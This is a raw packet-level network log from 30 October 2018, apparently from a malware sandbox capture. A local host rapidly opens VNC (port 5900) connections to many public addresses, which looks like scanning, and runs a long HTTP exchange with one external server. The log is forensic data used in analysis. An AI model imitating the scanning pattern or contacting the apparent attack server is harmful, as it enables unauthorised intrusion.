Oct 30, 2018 14:45:13.286895990 CET	51476	5900	192.168.1.81	32.103.231.105
Oct 30, 2018 14:45:13.289880037 CET	51586	5900	192.168.1.81	134.182.125.12
Oct 30, 2018 14:45:13.295880079 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.295939922 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.295973063 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.295984983 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.296005011 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.296036005 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.296066999 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.296097040 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.296161890 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.296161890 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.296183109 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.296200037 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.296214104 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.296216965 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.296231985 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.296247959 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.296257019 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.296331882 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.296364069 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.296381950 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.315766096 CET	51477	5900	192.168.1.81	93.229.55.57
Oct 30, 2018 14:45:13.320414066 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.320460081 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.320525885 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.320571899 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.321317911 CET	51587	5900	192.168.1.81	37.60.236.26
Oct 30, 2018 14:45:13.331024885 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.331156969 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.331199884 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.331208944 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.331234932 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.331259966 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.331284046 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.331304073 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.331307888 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.331331968 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.331356049 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.331379890 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.331402063 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.331403971 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.331554890 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.351543903 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.351602077 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.351634979 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.351665020 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.351699114 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.351701021 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.351725101 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.351732016 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.351743937 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.351762056 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.351845980 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.351890087 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.351912022 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.351949930 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.358483076 CET	51588	5900	192.168.1.81	108.21.34.119
Oct 30, 2018 14:45:13.372574091 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.380646944 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.380881071 CET	51478	5900	192.168.1.81	64.204.60.217
Oct 30, 2018 14:45:13.383260965 CET	5900	51558	154.147.58.161	192.168.1.81
Oct 30, 2018 14:45:13.384469032 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.384526014 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.384536982 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.384574890 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.384602070 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.384656906 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.384668112 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.384710073 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.384735107 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.384735107 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.384771109 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.384810925 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.384835005 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.384846926 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.384872913 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.384897947 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.384922028 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.384943008 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.384946108 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.384970903 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.384994984 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.385019064 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.385035038 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.385042906 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.385066986 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.385091066 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.385102987 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.385387897 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.388006926 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.390583038 CET	51589	5900	192.168.1.81	79.65.241.31
Oct 30, 2018 14:45:13.412045956 CET	51479	5900	192.168.1.81	163.44.138.69
Oct 30, 2018 14:45:13.420998096 CET	51590	5900	192.168.1.81	65.244.141.82
Oct 30, 2018 14:45:13.426887035 CET	51480	5900	192.168.1.81	189.160.6.100
Oct 30, 2018 14:45:13.427776098 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.427835941 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.427843094 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.427870989 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.427901983 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.427944899 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.435945034 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.435991049 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.436028004 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.436039925 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.436155081 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.436158895 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.436203957 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.436213970 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.436242104 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.436273098 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.436312914 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.436328888 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.436379910 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.436383963 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.436431885 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.436450005 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.436463118 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.436517954 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.436526060 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.436552048 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.436582088 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.436611891 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.436659098 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.436724901 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.436738014 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.436785936 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.436857939 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.436898947 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.436911106 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.436975002 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.436985016 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.437026024 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.437063932 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.437093973 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.437120914 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.437124014 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.437155008 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.437185049 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.437213898 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.437232018 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.437244892 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.437274933 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.437304974 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.437316895 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.437335014 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.437365055 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.437395096 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.437406063 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.437424898 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.437454939 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.437485933 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.437511921 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.437515974 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.437551975 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.437582016 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.437612057 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.437613010 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.437642097 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.437671900 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.437701941 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.437720060 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.437732935 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.437762976 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.437793016 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.437796116 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.437823057 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.437854052 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.437896013 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.437901020 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.437949896 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.437969923 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.438114882 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.438366890 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.438396931 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.438447952 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.438450098 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.438486099 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.438534975 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.438544989 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.438575029 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.438606977 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.438631058 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.438643932 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.438654900 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.438682079 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.438716888 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.438723087 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.438766003 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.438827038 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.438829899 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.438852072 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.438877106 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.438900948 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.438925028 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.438925028 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.438950062 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.438975096 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.438998938 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.439019918 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.439023018 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.439047098 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.439071894 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.439095974 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.439120054 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.439142942 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.439143896 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.439178944 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.439184904 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.439207077 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.439228058 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.439251900 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.439268112 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.439275980 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.439300060 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.439325094 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.439348936 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.439371109 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.439373016 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.439397097 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.439421892 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.439446926 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.439471006 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.439480066 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.439570904 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.441068888 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.452931881 CET	51591	5900	192.168.1.81	30.145.101.26
Oct 30, 2018 14:45:13.459739923 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.474396944 CET	51481	5900	192.168.1.81	189.76.70.229
Oct 30, 2018 14:45:13.479871988 CET	5900	51555	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:13.480565071 CET	5900	51555	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:13.480957985 CET	5900	51555	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:13.481041908 CET	51555	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:13.481479883 CET	51555	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:13.482973099 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.483072996 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.487006903 CET	51592	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:13.489656925 CET	51593	5900	192.168.1.81	81.188.209.76
Oct 30, 2018 14:45:13.490119934 CET	51482	5900	192.168.1.81	164.185.72.25
Oct 30, 2018 14:45:13.492958069 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.492976904 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.492989063 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493006945 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493019104 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493031025 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493055105 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493083000 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493083954 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.493109941 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493124008 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493134975 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493163109 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493177891 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493181944 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.493192911 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493205070 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493228912 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493242979 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493254900 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493262053 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.493268013 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493279934 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493293047 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493309975 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493324041 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493335962 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493354082 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493355036 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.493367910 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493379116 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493400097 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493412971 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493424892 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493441105 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493447065 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.493454933 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493467093 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493479967 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493504047 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493519068 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493541956 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493542910 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.493570089 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493587971 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493598938 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493614912 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493629932 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493642092 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493647099 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.493664026 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493678093 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493690014 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493705034 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493716002 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493732929 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.493740082 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493767977 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493782043 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493793011 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493807077 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493818045 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493833065 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493844986 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.493856907 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493870974 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493881941 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493904114 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493918896 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493921995 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.493941069 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493968010 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493982077 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.493993044 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.494005919 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.494018078 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.494021893 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.494034052 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.494046926 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.494057894 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.494072914 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.494083881 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.494097948 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.494102955 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.494108915 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.494122982 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.494133949 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.494144917 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.494158030 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.494169950 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.494179010 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.494183064 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.494194031 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.494260073 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.514261007 CET	51594	5900	192.168.1.81	80.50.75.193
Oct 30, 2018 14:45:13.521379948 CET	51483	5900	192.168.1.81	157.169.10.167
Oct 30, 2018 14:45:13.527667046 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.546729088 CET	51595	5900	192.168.1.81	47.85.201.126
Oct 30, 2018 14:45:13.547276020 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.547322035 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.547396898 CET	51583	80	192.168.1.81	92.63.197.48
